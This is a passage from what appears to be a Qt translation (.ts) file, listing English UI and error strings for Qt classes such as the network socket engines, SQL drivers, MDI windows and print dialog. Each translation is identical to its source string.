- <message>
- <source>Host requires authentication</source>
- <translation>Host requires authentication</translation>
- </message>
- <message>
- <source>Data corrupted</source>
- <translation>Data corrupted</translation>
- </message>
- <message>
- <source>SSL handshake failed</source>
- <translation>SSL handshake failed</translation>
- </message>
- <message>
- <source>Unknown protocol specified</source>
- <translation>Unknown protocol specified</translation>
- </message>
- <message>
- <source>Connection refused (or timed out)</source>
- <translation>Connection refused (or timed out)</translation>
- </message>
- <message>
- <source>HTTPS connection requested but SSL support not compiled in</source>
- <translation>HTTPS connection requested but SSL support not compiled in</translation>
- </message>
- </context>
- <context>
- <name>QHttpSocketEngine</name>
- <message>
- <source>Did not receive HTTP response from proxy</source>
- <translation>Did not receive HTTP response from proxy</translation>
- </message>
- <message>
- <source>Error parsing authentication request from proxy</source>
- <translation>Error parsing authentication request from proxy</translation>
- </message>
- <message>
- <source>Authentication required</source>
- <translation>Authentication required</translation>
- </message>
- <message>
- <source>Proxy denied connection</source>
- <translation>Proxy denied connection</translation>
- </message>
- <message>
- <source>Error communicating with HTTP proxy</source>
- <translation>Error communicating with HTTP proxy</translation>
- </message>
- <message>
- <source>Proxy server not found</source>
- <translation>Proxy server not found</translation>
- </message>
- <message>
- <source>Proxy connection refused</source>
- <translation>Proxy connection refused</translation>
- </message>
- <message>
- <source>Proxy server connection timed out</source>
- <translation>Proxy server connection timed out</translation>
- </message>
- <message>
- <source>Proxy connection closed prematurely</source>
- <translation>Proxy connection closed prematurely</translation>
- </message>
- </context>
- <context>
- <name>QIBaseDriver</name>
- <message>
- <source>Error opening database</source>
- <translation>Error opening database</translation>
- </message>
- <message>
- <source>Could not start transaction</source>
- <translation>Could not start transaction</translation>
- </message>
- <message>
- <source>Unable to commit transaction</source>
- <translation>Unable to commit transaction</translation>
- </message>
- <message>
- <source>Unable to rollback transaction</source>
- <translation>Unable to rollback transaction</translation>
- </message>
- </context>
- <context>
- <name>QIBaseResult</name>
- <message>
- <source>Unable to create BLOB</source>
- <translation>Unable to create BLOB</translation>
- </message>
- <message>
- <source>Unable to write BLOB</source>
- <translation>Unable to write BLOB</translation>
- </message>
- <message>
- <source>Unable to open BLOB</source>
- <translation>Unable to open BLOB</translation>
- </message>
- <message>
- <source>Unable to read BLOB</source>
- <translation>Unable to read BLOB</translation>
- </message>
- <message>
- <source>Could not find array</source>
- <translation>Could not find array</translation>
- </message>
- <message>
- <source>Could not get array data</source>
- <translation>Could not get array data</translation>
- </message>
- <message>
- <source>Could not get query info</source>
- <translation>Could not get query info</translation>
- </message>
- <message>
- <source>Could not start transaction</source>
- <translation>Could not start transaction</translation>
- </message>
- <message>
- <source>Unable to commit transaction</source>
- <translation>Unable to commit transaction</translation>
- </message>
- <message>
- <source>Could not allocate statement</source>
- <translation>Could not allocate statement</translation>
- </message>
- <message>
- <source>Could not prepare statement</source>
- <translation>Could not prepare statement</translation>
- </message>
- <message>
- <source>Could not describe input statement</source>
- <translation>Could not describe input statement</translation>
- </message>
- <message>
- <source>Could not describe statement</source>
- <translation>Could not describe statement</translation>
- </message>
- <message>
- <source>Unable to close statement</source>
- <translation>Unable to close statement</translation>
- </message>
- <message>
- <source>Unable to execute query</source>
- <translation>Unable to execute query</translation>
- </message>
- <message>
- <source>Could not fetch next item</source>
- <translation>Could not fetch next item</translation>
- </message>
- <message>
- <source>Could not get statement info</source>
- <translation>Could not get statement info</translation>
- </message>
- </context>
- <context>
- <name>QIODevice</name>
- <message>
- <source>Permission denied</source>
- <translation>Permission denied</translation>
- </message>
- <message>
- <source>Too many open files</source>
- <translation>Too many open files</translation>
- </message>
- <message>
- <source>No such file or directory</source>
- <translation>No such file or directory</translation>
- </message>
- <message>
- <source>No space left on device</source>
- <translation>No space left on device</translation>
- </message>
- <message>
- <source>Unknown error</source>
- <translation>Unknown error</translation>
- </message>
- </context>
- <context>
- <name>QInputContext</name>
- <message>
- <source>XIM</source>
- <translation>XIM</translation>
- </message>
- <message>
- <source>FEP</source>
- <translation>FEP</translation>
- </message>
- <message>
- <source>XIM input method</source>
- <translation>XIM input method</translation>
- </message>
- <message>
- <source>Windows input method</source>
- <translation>Windows input method</translation>
- </message>
- <message>
- <source>Mac OS X input method</source>
- <translation>Mac OS X input method</translation>
- </message>
- <message>
- <source>S60 FEP input method</source>
- <translation>S60 FEP input method</translation>
- </message>
- </context>
- <context>
- <name>QInputDialog</name>
- <message>
- <source>Enter a value:</source>
- <translation>Enter a value:</translation>
- </message>
- </context>
- <context>
- <name>QLibrary</name>
- <message>
- <source>Could not mmap &apos;%1&apos;: %2</source>
- <translation>Could not mmap &apos;%1&apos;: %2</translation>
- </message>
- <message>
- <source>Plugin verification data mismatch in &apos;%1&apos;</source>
- <translation>Plugin verification data mismatch in &apos;%1&apos;</translation>
- </message>
- <message>
- <source>Could not unmap &apos;%1&apos;: %2</source>
- <translation>Could not unmap &apos;%1&apos;: %2</translation>
- </message>
- <message>
- <source>The plugin &apos;%1&apos; uses incompatible Qt library. (%2.%3.%4) [%5]</source>
- <translation>The plugin &apos;%1&apos; uses incompatible Qt library. (%2.%3.%4) [%5]</translation>
- </message>
- <message>
- <source>The plugin &apos;%1&apos; uses incompatible Qt library. Expected build key &quot;%2&quot;, got &quot;%3&quot;</source>
- <translation>The plugin &apos;%1&apos; uses incompatible Qt library. Expected build key &quot;%2&quot;, got &quot;%3&quot;</translation>
- </message>
- <message>
- <source>Unknown error</source>
- <translation>Unknown error</translation>
- </message>
- <message>
- <source>The shared library was not found.</source>
- <translation>The shared library was not found.</translation>
- </message>
- <message>
- <source>The file &apos;%1&apos; is not a valid Qt plugin.</source>
- <translation>The file &apos;%1&apos; is not a valid Qt plugin.</translation>
- </message>
- <message>
- <source>The plugin &apos;%1&apos; uses incompatible Qt library. (Cannot mix debug and release libraries.)</source>
- <translation>The plugin &apos;%1&apos; uses incompatible Qt library. (Cannot mix debug and release libraries.)</translation>
- </message>
- <message>
- <source>Cannot load library %1: %2</source>
- <translation>Cannot load library %1: %2</translation>
- </message>
- <message>
- <source>Cannot unload library %1: %2</source>
- <translation>Cannot unload library %1: %2</translation>
- </message>
- <message>
- <source>Cannot resolve symbol &quot;%1&quot; in %2: %3</source>
- <translation>Cannot resolve symbol &quot;%1&quot; in %2: %3</translation>
- </message>
- </context>
- <context>
- <name>QLineEdit</name>
- <message>
- <source>Select All</source>
- <translation>Select All</translation>
- </message>
- <message>
- <source>&amp;Undo</source>
- <translation>&amp;Undo</translation>
- </message>
- <message>
- <source>&amp;Redo</source>
- <translation>&amp;Redo</translation>
- </message>
- <message>
- <source>Cu&amp;t</source>
- <translation>Cu&amp;t</translation>
- </message>
- <message>
- <source>&amp;Copy</source>
- <translation>&amp;Copy</translation>
- </message>
- <message>
- <source>&amp;Paste</source>
- <translation>&amp;Paste</translation>
- </message>
- <message>
- <source>Delete</source>
- <translation>Delete</translation>
- </message>
- </context>
- <context>
- <name>QLocalServer</name>
- <message>
- <source>%1: Name error</source>
- <translation>%1: Name error</translation>
- </message>
- <message>
- <source>%1: Permission denied</source>
- <translation>%1: Permission denied</translation>
- </message>
- <message>
- <source>%1: Address in use</source>
- <translation>%1: Address in use</translation>
- </message>
- <message>
- <source>%1: Unknown error %2</source>
- <translation>%1: Unknown error %2</translation>
- </message>
- </context>
- <context>
- <name>QLocalSocket</name>
- <message>
- <source>%1: Connection refused</source>
- <translation>%1: Connection refused</translation>
- </message>
- <message>
- <source>%1: Remote closed</source>
- <translation>%1: Remote closed</translation>
- </message>
- <message>
- <source>%1: Invalid name</source>
- <translation>%1: Invalid name</translation>
- </message>
- <message>
- <source>%1: Socket access error</source>
- <translation>%1: Socket access error</translation>
- </message>
- <message>
- <source>%1: Socket resource error</source>
- <translation>%1: Socket resource error</translation>
- </message>
- <message>
- <source>%1: Socket operation timed out</source>
- <translation>%1: Socket operation timed out</translation>
- </message>
- <message>
- <source>%1: Datagram too large</source>
- <translation>%1: Datagram too large</translation>
- </message>
- <message>
- <source>%1: Connection error</source>
- <translation>%1: Connection error</translation>
- </message>
- <message>
- <source>%1: The socket operation is not supported</source>
- <translation>%1: The socket operation is not supported</translation>
- </message>
- <message>
- <source>%1: Unknown error</source>
- <translation>%1: Unknown error</translation>
- </message>
- <message>
- <source>%1: Unknown error %2</source>
- <translation>%1: Unknown error %2</translation>
- </message>
- </context>
- <context>
- <name>QMYSQLDriver</name>
- <message>
- <source>Unable to open database &apos;</source>
- <translation>Unable to open database &apos;</translation>
- </message>
- <message>
- <source>Unable to connect</source>
- <translation>Unable to connect</translation>
- </message>
- <message>
- <source>Unable to begin transaction</source>
- <translation>Unable to begin transaction</translation>
- </message>
- <message>
- <source>Unable to commit transaction</source>
- <translation>Unable to commit transaction</translation>
- </message>
- <message>
- <source>Unable to rollback transaction</source>
- <translation>Unable to rollback transaction</translation>
- </message>
- </context>
- <context>
- <name>QMYSQLResult</name>
- <message>
- <source>Unable to fetch data</source>
- <translation>Unable to fetch data</translation>
- </message>
- <message>
- <source>Unable to execute query</source>
- <translation>Unable to execute query</translation>
- </message>
- <message>
- <source>Unable to store result</source>
- <translation>Unable to store result</translation>
- </message>
- <message>
- <source>Unable to prepare statement</source>
- <translation>Unable to prepare statement</translation>
- </message>
- <message>
- <source>Unable to reset statement</source>
- <translation>Unable to reset statement</translation>
- </message>
- <message>
- <source>Unable to bind value</source>
- <translation>Unable to bind value</translation>
- </message>
- <message>
- <source>Unable to execute statement</source>
- <translation>Unable to execute statement</translation>
- </message>
- <message>
- <source>Unable to bind outvalues</source>
- <translation>Unable to bind outvalues</translation>
- </message>
- <message>
- <source>Unable to store statement results</source>
- <translation>Unable to store statement results</translation>
- </message>
- <message>
- <source>Unable to execute next query</source>
- <translation>Unable to execute next query</translation>
- </message>
- <message>
- <source>Unable to store next result</source>
- <translation>Unable to store next result</translation>
- </message>
- </context>
- <context>
- <name>QMdiArea</name>
- <message>
- <source>(Untitled)</source>
- <translation>(Untitled)</translation>
- </message>
- </context>
- <context>
- <name>QMdiSubWindow</name>
- <message>
- <source>%1 - [%2]</source>
- <translation>%1 - [%2]</translation>
- </message>
- <message>
- <source>Close</source>
- <translation>Close</translation>
- </message>
- <message>
- <source>Minimize</source>
- <translation>Minimize</translation>
- </message>
- <message>
- <source>Restore Down</source>
- <translation>Restore Down</translation>
- </message>
- <message>
- <source>&amp;Restore</source>
- <translation>&amp;Restore</translation>
- </message>
- <message>
- <source>&amp;Move</source>
- <translation>&amp;Move</translation>
- </message>
- <message>
- <source>&amp;Size</source>
- <translation>&amp;Size</translation>
- </message>
- <message>
- <source>Mi&amp;nimize</source>
- <translation>Mi&amp;nimize</translation>
- </message>
- <message>
- <source>Ma&amp;ximize</source>
- <translation>Ma&amp;ximize</translation>
- </message>
- <message>
- <source>Stay on &amp;Top</source>
- <translation>Stay on &amp;Top</translation>
- </message>
- <message>
- <source>&amp;Close</source>
- <translation>&amp;Close</translation>
- </message>
- <message>
- <source>Maximize</source>
- <translation>Maximize</translation>
- </message>
- <message>
- <source>Unshade</source>
- <translation>Unshade</translation>
- </message>
- <message>
- <source>Shade</source>
- <translation>Shade</translation>
- </message>
- <message>
- <source>Restore</source>
- <translation>Restore</translation>
- </message>
- <message>
- <source>Help</source>
- <translation>Help</translation>
- </message>
- <message>
- <source>Menu</source>
- <translation>Menu</translation>
- </message>
- <message>
- <source>- [%1]</source>
- <translation>- [%1]</translation>
- </message>
- </context>
- <context>
- <name>QMenu</name>
- <message>
- <source>Close</source>
- <translation>Close</translation>
- </message>
- <message>
- <source>Open</source>
- <translation>Open</translation>
- </message>
- <message>
- <source>Execute</source>
- <translation>Execute</translation>
- </message>
- </context>
- <context>
- <name>QMenuBar</name>
- <message>
- <source>Actions</source>
- <translation>Actions</translation>
- </message>
- </context>
- <context>
- <name>QMessageBox</name>
- <message>
- <source>OK</source>
- <translation>OK</translation>
- </message>
- <message>
- <source>&lt;h3&gt;About Qt&lt;/h3&gt;&lt;p&gt;This program uses Qt version %1.&lt;/p&gt;</source>
- <translation>&lt;h3&gt;About Qt&lt;/h3&gt;&lt;p&gt;This program uses Qt version %1.&lt;/p&gt;</translation>
- </message>
- <message>
- <source>&lt;p&gt;Qt is a C++ toolkit for cross-platform application development.&lt;/p&gt;&lt;p&gt;Qt provides single-source portability across MS&amp;nbsp;Windows, Mac&amp;nbsp;OS&amp;nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.&lt;/p&gt;&lt;p&gt;Qt is available under three different licensing options designed to accommodate the needs of our various users.&lt;/p&gt;&lt;p&gt;Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.&lt;/p&gt;&lt;p&gt;Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.&lt;/p&gt;&lt;p&gt;Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.&lt;/p&gt;&lt;p&gt;Please see &lt;a href=&quot;http://qt.nokia.com/products/licensing&quot;&gt;qt.nokia.com/products/licensing&lt;/a&gt; for an overview of Qt licensing.&lt;/p&gt;&lt;p&gt;Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).&lt;/p&gt;&lt;p&gt;Qt is a Nokia product. See &lt;a href=&quot;http://qt.nokia.com/&quot;&gt;qt.nokia.com&lt;/a&gt; for more information.&lt;/p&gt;</source>
- <translation>&lt;p&gt;Qt is a C++ toolkit for cross-platform application development.&lt;/p&gt;&lt;p&gt;Qt provides single-source portability across MS&amp;nbsp;Windows, Mac&amp;nbsp;OS&amp;nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.&lt;/p&gt;&lt;p&gt;Qt is available under three different licensing options designed to accommodate the needs of our various users.&lt;/p&gt;&lt;p&gt;Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.&lt;/p&gt;&lt;p&gt;Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.&lt;/p&gt;&lt;p&gt;Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.&lt;/p&gt;&lt;p&gt;Please see &lt;a href=&quot;http://qt.nokia.com/products/licensing&quot;&gt;qt.nokia.com/products/licensing&lt;/a&gt; for an overview of Qt licensing.&lt;/p&gt;&lt;p&gt;Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).&lt;/p&gt;&lt;p&gt;Qt is a Nokia product. See &lt;a href=&quot;http://qt.nokia.com/&quot;&gt;qt.nokia.com&lt;/a&gt; for more information.&lt;/p&gt;</translation>
- </message>
- <message>
- <source>About Qt</source>
- <translation>About Qt</translation>
- </message>
- <message>
- <source>Help</source>
- <translation>Help</translation>
- </message>
- <message>
- <source>Show Details...</source>
- <translation>Show Details...</translation>
- </message>
- <message>
- <source>Hide Details...</source>
- <translation>Hide Details...</translation>
- </message>
- </context>
- <context>
- <name>QMultiInputContext</name>
- <message>
- <source>Select IM</source>
- <translation>Select IM</translation>
- </message>
- </context>
- <context>
- <name>QMultiInputContextPlugin</name>
- <message>
- <source>Multiple input method switcher</source>
- <translation>Multiple input method switcher</translation>
- </message>
- <message>
- <source>Multiple input method switcher that uses the context menu of the text widgets</source>
- <translation>Multiple input method switcher that uses the context menu of the text widgets</translation>
- </message>
- </context>
- <context>
- <name>QNativeSocketEngine</name>
- <message>
- <source>The remote host closed the connection</source>
- <translation>The remote host closed the connection</translation>
- </message>
- <message>
- <source>Network operation timed out</source>
- <translation>Network operation timed out</translation>
- </message>
- <message>
- <source>Out of resources</source>
- <translation>Out of resources</translation>
- </message>
- <message>
- <source>Unsupported socket operation</source>
- <translation>Unsupported socket operation</translation>
- </message>
- <message>
- <source>Protocol type not supported</source>
- <translation>Protocol type not supported</translation>
- </message>
- <message>
- <source>Invalid socket descriptor</source>
- <translation>Invalid socket descriptor</translation>
- </message>
- <message>
- <source>Network unreachable</source>
- <translation>Network unreachable</translation>
- </message>
- <message>
- <source>Permission denied</source>
- <translation>Permission denied</translation>
- </message>
- <message>
- <source>Connection timed out</source>
- <translation>Connection timed out</translation>
- </message>
- <message>
- <source>Connection refused</source>
- <translation>Connection refused</translation>
- </message>
- <message>
- <source>The bound address is already in use</source>
- <translation>The bound address is already in use</translation>
- </message>
- <message>
- <source>The address is not available</source>
- <translation>The address is not available</translation>
- </message>
- <message>
- <source>The address is protected</source>
- <translation>The address is protected</translation>
- </message>
- <message>
- <source>Unable to send a message</source>
- <translation>Unable to send a message</translation>
- </message>
- <message>
- <source>Unable to receive a message</source>
- <translation>Unable to receive a message</translation>
- </message>
- <message>
- <source>Unable to write</source>
- <translation>Unable to write</translation>
- </message>
- <message>
- <source>Network error</source>
- <translation>Network error</translation>
- </message>
- <message>
- <source>Another socket is already listening on the same port</source>
- <translation>Another socket is already listening on the same port</translation>
- </message>
- <message>
- <source>Unable to initialize non-blocking socket</source>
- <translation>Unable to initialize non-blocking socket</translation>
- </message>
- <message>
- <source>Unable to initialize broadcast socket</source>
- <translation>Unable to initialize broadcast socket</translation>
- </message>
- <message>
- <source>Attempt to use IPv6 socket on a platform with no IPv6 support</source>
- <translation>Attempt to use IPv6 socket on a platform with no IPv6 support</translation>
- </message>
- <message>
- <source>Host unreachable</source>
- <translation>Host unreachable</translation>
- </message>
- <message>
- <source>Datagram was too large to send</source>
- <translation>Datagram was too large to send</translation>
- </message>
- <message>
- <source>Operation on non-socket</source>
- <translation>Operation on non-socket</translation>
- </message>
- <message>
- <source>Unknown error</source>
- <translation>Unknown error</translation>
- </message>
- <message>
- <source>The proxy type is invalid for this operation</source>
- <translation>The proxy type is invalid for this operation</translation>
- </message>
- </context>
- <context>
- <name>QNetworkAccessCacheBackend</name>
- <message>
- <source>Error opening %1</source>
- <translation>Error opening %1</translation>
- </message>
- </context>
- <context>
- <name>QNetworkAccessDebugPipeBackend</name>
- <message>
- <source>Write error writing to %1: %2</source>
- <translation>Write error writing to %1: %2</translation>
- </message>
- </context>
- <context>
- <name>QNetworkAccessFileBackend</name>
- <message>
- <source>Request for opening non-local file %1</source>
- <translation>Request for opening non-local file %1</translation>
- </message>
- <message>
- <source>Error opening %1: %2</source>
- <translation>Error opening %1: %2</translation>
- </message>
- <message>
- <source>Write error writing to %1: %2</source>
- <translation>Write error writing to %1: %2</translation>
- </message>
- <message>
- <source>Cannot open %1: Path is a directory</source>
- <translation>Cannot open %1: Path is a directory</translation>
- </message>
- <message>
- <source>Read error reading from %1: %2</source>
- <translation>Read error reading from %1: %2</translation>
- </message>
- </context>
- <context>
- <name>QNetworkAccessFtpBackend</name>
- <message>
- <source>No suitable proxy found</source>
- <translation>No suitable proxy found</translation>
- </message>
- <message>
- <source>Cannot open %1: is a directory</source>
- <translation>Cannot open %1: is a directory</translation>
- </message>
- <message>
- <source>Logging in to %1 failed: authentication required</source>
- <translation>Logging in to %1 failed: authentication required</translation>
- </message>
- <message>
- <source>Error while downloading %1: %2</source>
- <translation>Error while downloading %1: %2</translation>
- </message>
- <message>
- <source>Error while uploading %1: %2</source>
- <translation>Error while uploading %1: %2</translation>
- </message>
- </context>
- <context>
- <name>QNetworkAccessHttpBackend</name>
- <message>
- <source>No suitable proxy found</source>
- <translation>No suitable proxy found</translation>
- </message>
- </context>
- <context>
- <name>QNetworkReply</name>
- <message>
- <source>Error downloading %1 - server replied: %2</source>
- <translation>Error downloading %1 - server replied: %2</translation>
- </message>
- <message>
- <source>Protocol &quot;%1&quot; is unknown</source>
- <translation>Protocol &quot;%1&quot; is unknown</translation>
- </message>
- </context>
- <context>
- <name>QNetworkReplyImpl</name>
- <message>
- <source>Operation canceled</source>
- <translation>Operation canceled</translation>
- </message>
- </context>
- <context>
- <name>QOCIDriver</name>
- <message>
- <source>Unable to logon</source>
- <translation>Unable to logon</translation>
- </message>
- <message>
- <source>Unable to initialize</source>
- <comment>QOCIDriver</comment>
- <translation>Unable to initialize</translation>
- </message>
- <message>
- <source>Unable to begin transaction</source>
- <translation>Unable to begin transaction</translation>
- </message>
- <message>
- <source>Unable to commit transaction</source>
- <translation>Unable to commit transaction</translation>
- </message>
- <message>
- <source>Unable to rollback transaction</source>
- <translation>Unable to rollback transaction</translation>
- </message>
- </context>
- <context>
- <name>QOCIResult</name>
- <message>
- <source>Unable to bind column for batch execute</source>
- <translation>Unable to bind column for batch execute</translation>
- </message>
- <message>
- <source>Unable to execute batch statement</source>
- <translation>Unable to execute batch statement</translation>
- </message>
- <message>
- <source>Unable to goto next</source>
- <translation>Unable to goto next</translation>
- </message>
- <message>
- <source>Unable to alloc statement</source>
- <translation>Unable to alloc statement</translation>
- </message>
- <message>
- <source>Unable to prepare statement</source>
- <translation>Unable to prepare statement</translation>
- </message>
- <message>
- <source>Unable to get statement type</source>
- <translation>Unable to get statement type</translation>
- </message>
- <message>
- <source>Unable to bind value</source>
- <translation>Unable to bind value</translation>
- </message>
- <message>
- <source>Unable to execute statement</source>
- <translation>Unable to execute statement</translation>
- </message>
- </context>
- <context>
- <name>QODBCDriver</name>
- <message>
- <source>Unable to connect</source>
- <translation>Unable to connect</translation>
- </message>
- <message>
- <source>Unable to disable autocommit</source>
- <translation>Unable to disable autocommit</translation>
- </message>
- <message>
- <source>Unable to commit transaction</source>
- <translation>Unable to commit transaction</translation>
- </message>
- <message>
- <source>Unable to rollback transaction</source>
- <translation>Unable to rollback transaction</translation>
- </message>
- <message>
- <source>Unable to enable autocommit</source>
- <translation>Unable to enable autocommit</translation>
- </message>
- <message>
- <source>Unable to connect - Driver doesn&apos;t support all functionality required</source>
- <translation>Unable to connect - Driver doesn&apos;t support all functionality required</translation>
- </message>
- </context>
- <context>
- <name>QODBCResult</name>
- <message>
- <source>QODBCResult::reset: Unable to set &apos;SQL_CURSOR_STATIC&apos; as statement attribute. Please check your ODBC driver configuration</source>
- <translation>QODBCResult::reset: Unable to set &apos;SQL_CURSOR_STATIC&apos; as statement attribute. Please check your ODBC driver configuration</translation>
- </message>
- <message>
- <source>Unable to execute statement</source>
- <translation>Unable to execute statement</translation>
- </message>
- <message>
- <source>Unable to fetch next</source>
- <translation>Unable to fetch next</translation>
- </message>
- <message>
- <source>Unable to prepare statement</source>
- <translation>Unable to prepare statement</translation>
- </message>
- <message>
- <source>Unable to bind variable</source>
- <translation>Unable to bind variable</translation>
- </message>
- <message>
- <source>Unable to fetch last</source>
- <translation>Unable to fetch last</translation>
- </message>
- <message>
- <source>Unable to fetch</source>
- <translation>Unable to fetch</translation>
- </message>
- <message>
- <source>Unable to fetch first</source>
- <translation>Unable to fetch first</translation>
- </message>
- <message>
- <source>Unable to fetch previous</source>
- <translation>Unable to fetch previous</translation>
- </message>
- </context>
- <context>
- <name>QObject</name>
- <message>
- <source>Invalid hostname</source>
- <translation>Invalid hostname</translation>
- </message>
- <message>
- <source>Operation not supported on %1</source>
- <translation>Operation not supported on %1</translation>
- </message>
- <message>
- <source>Invalid URI: %1</source>
- <translation>Invalid URI: %1</translation>
- </message>
- <message>
- <source>Socket error on %1: %2</source>
- <translation>Socket error on %1: %2</translation>
- </message>
- <message>
- <source>Remote host closed the connection prematurely on %1</source>
- <translation>Remote host closed the connection prematurely on %1</translation>
- </message>
- <message>
- <source>No host name given</source>
- <translation>No host name given</translation>
- </message>
- </context>
- <context>
- <name>QPPDOptionsModel</name>
- <message>
- <source>Name</source>
- <translation>Name</translation>
- </message>
- <message>
- <source>Value</source>
- <translation>Value</translation>
- </message>
- </context>
- <context>
- <name>QPSQLDriver</name>
- <message>
- <source>Unable to connect</source>
- <translation>Unable to connect</translation>
- </message>
- <message>
- <source>Could not begin transaction</source>
- <translation>Could not begin transaction</translation>
- </message>
- <message>
- <source>Could not commit transaction</source>
- <translation>Could not commit transaction</translation>
- </message>
- <message>
- <source>Could not rollback transaction</source>
- <translation>Could not rollback transaction</translation>
- </message>
- <message>
- <source>Unable to subscribe</source>
- <translation>Unable to subscribe</translation>
- </message>
- <message>
- <source>Unable to unsubscribe</source>
- <translation>Unable to unsubscribe</translation>
- </message>
- </context>
- <context>
- <name>QPSQLResult</name>
- <message>
- <source>Unable to create query</source>
- <translation>Unable to create query</translation>
- </message>
- <message>
- <source>Unable to prepare statement</source>
- <translation>Unable to prepare statement</translation>
- </message>
- </context>
- <context>
- <name>QPageSetupWidget</name>
- <message>
- <source>Centimeters (cm)</source>
- <translation>Centimeters (cm)</translation>
- </message>
- <message>
- <source>Millimeters (mm)</source>
- <translation>Millimeters (mm)</translation>
- </message>
- <message>
- <source>Inches (in)</source>
- <translation>Inches (in)</translation>
- </message>
- <message>
- <source>Points (pt)</source>
- <translation>Points (pt)</translation>
- </message>
- <message>
- <source>Form</source>
- <translation>Form</translation>
- </message>
- <message>
- <source>Paper</source>
- <translation>Paper</translation>
- </message>
- <message>
- <source>Page size:</source>
- <translation>Page size:</translation>
- </message>
- <message>
- <source>Width:</source>
- <translation>Width:</translation>
- </message>
- <message>
- <source>Height:</source>
- <translation>Height:</translation>
- </message>
- <message>
- <source>Paper source:</source>
- <translation>Paper source:</translation>
- </message>
- <message>
- <source>Orientation</source>
- <translation>Orientation</translation>
- </message>
- <message>
- <source>Portrait</source>
- <translation>Portrait</translation>
- </message>
- <message>
- <source>Landscape</source>
- <translation>Landscape</translation>
- </message>
- <message>
- <source>Reverse landscape</source>
- <translation>Reverse landscape</translation>
- </message>
- <message>
- <source>Reverse portrait</source>
- <translation>Reverse portrait</translation>
- </message>
- <message>
- <source>Margins</source>
- <translation>Margins</translation>
- </message>
- <message>
- <source>top margin</source>
- <translation>top margin</translation>
- </message>
- <message>
- <source>left margin</source>
- <translation>left margin</translation>
- </message>
- <message>
- <source>right margin</source>
- <translation>right margin</translation>
- </message>
- <message>
- <source>bottom margin</source>
- <translation>bottom margin</translation>
- </message>
- </context>
- <context>
- <name>QPluginLoader</name>
- <message>
- <source>Unknown error</source>
- <translation>Unknown error</translation>
- </message>
- <message>
- <source>The plugin was not loaded.</source>
- <translation>The plugin was not loaded.</translation>
- </message>
- </context>
- <context>
- <name>QPrintDialog</name>
- <message>
- <source>locally connected</source>
- <translation>locally connected</translation>
- </message>
- <message>
- <source>Aliases: %1</source>
- <translation>Aliases: %1</translation>
- </message>
- <message>
- <source>unknown</source>
- <translation>unknown</translation>
- </message>
- <message>
- <source>OK</source>
- <translation>OK</translation>
- </message>
- <message>
- <source>Print all</source>
- <translation>Print all</translation>
- </message>
- <message>
- <source>Print range</source>
- <translation>Print range</translation>
- </message>
- <message>
- <source>A0 (841 x 1189 mm)</source>
- <translation>A0 (841 x 1189 mm)</translation>
- </message>
- <message>
- <source>A1 (594 x 841 mm)</source>
- <translation>A1 (594 x 841 mm)</translation>
- </message>
- <message>
- <source>A2 (420 x 594 mm)</source>
- <translation>A2 (420 x 594 mm)</translation>
- </message>
- <message>
- <source>A3 (297 x 420 mm)</source>
- <translation>A3 (297 x 420 mm)</translation>
- </message>
- <message>
- <source>A5 (148 x 210 mm)</source>
- <translation>A5 (148 x 210 mm)</translation>
- </message>
- <message>
- <source>A6 (105 x 148 mm)</source>
- <translation>A6 (105 x 148 mm)</translation>
- </message>
- <message>
- <source>A7 (74 x 105 mm)</source>
- <translation>A7 (74 x 105 mm)</translation>
- </message>
- <message>
- <source>A8 (52 x 74 mm)</source>
- <translation>A8 (52 x 74 mm)</translation>
- </message>
- <message>
- <source>A9 (37 x 52 mm)</source>
- <translation>A9 (37 x 52 mm)</translation>
- </message>
- <message>
- <source>B0 (1000 x 1414 mm)</source>
- <translation>B0 (1000 x 1414 mm)</translation>
- </message>
- <message>
- <source>B1 (707 x 1000 mm)</source>
- <translation>B1 (707 x 1000 mm)</translation>
- </message>
- <message>
- <source>B2 (500 x 707 mm)</source>
- <translation>B2 (500 x 707 mm)</translation>
- </message>
- <message>
- <source>B3 (353 x 500 mm)</source>
- <translation>B3 (353 x 500 mm)</translation>
- </message>
- <message>
- <source>B4 (250 x 353 mm)</source>
- <translation>B4 (250 x 353 mm)</translation>
- </message>
- <message>
- <source>B6 (125 x 176 mm)</source>
- <translation>B6 (125 x 176 mm)</translation>
- </message>
- <message>
- <source>B7 (88 x 125 mm)</source>
- <translation>B7 (88 x 125 mm)</translation>
- </message>
- <message>
- <source>B8 (62 x 88 mm)</source>
- <translation>B8 (62 x 88 mm)</translation>
- </message>
- <message>
- <source>B9 (44 x 62 mm)</source>
- <translation>B9 (44 x 62 mm)</translation>
- </message>
- <message>
- <source>B10 (31 x 44 mm)</source>
- <translation>B10 (31 x 44 mm)</translation>
- </message>
- <message>
- <source>C5E (163 x 229 mm)</source>
- <translation>C5E (163 x 229 mm)</translation>
- </message>
- <message>
- <source>DLE (110 x 220 mm)</source>
- <translation>DLE (110 x 220 mm)</translation>
- </message>
- <message>
- <source>Folio (210 x 330 mm)</source>
- <translation>Folio (210 x 330 mm)</translation>
- </message>
- <message>
- <source>Ledger (432 x 279 mm)</source>
- <translation>Ledger (432 x 279 mm)</translation>
- </message>
- <message>
- <source>Tabloid (279 x 432 mm)</source>
- <translation>Tabloid (279 x 432 mm)</translation>
- </message>
- <message>
- <source>US Common #10 Envelope (105 x 241 mm)</source>
- <translation>US Common #10 Envelope (105 x 241 mm)</translation>
